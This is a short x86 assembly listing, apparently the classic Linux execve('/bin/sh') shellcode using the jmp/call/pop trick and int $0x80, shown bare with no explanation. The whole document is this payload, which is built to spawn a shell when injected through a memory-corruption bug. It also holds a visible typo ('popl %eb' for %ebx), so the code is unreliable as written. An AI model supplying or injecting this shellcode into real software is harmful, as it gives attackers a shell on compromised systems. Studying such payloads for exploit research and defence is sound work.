jmp ahead
back:
    popl %eb
    movl $0x0, %eax
    movl %ebx, 0x8(%ebx)
    movb %al, 0x7(%ebx)
    leal 0x8(%ebx), %ecx
    movl %eax, 0xc(%ebx)
    movl %eax, %edx
    movb $0xb, %al
    int $0x80
ahead:
    call back
    .string \"/bin/sh\"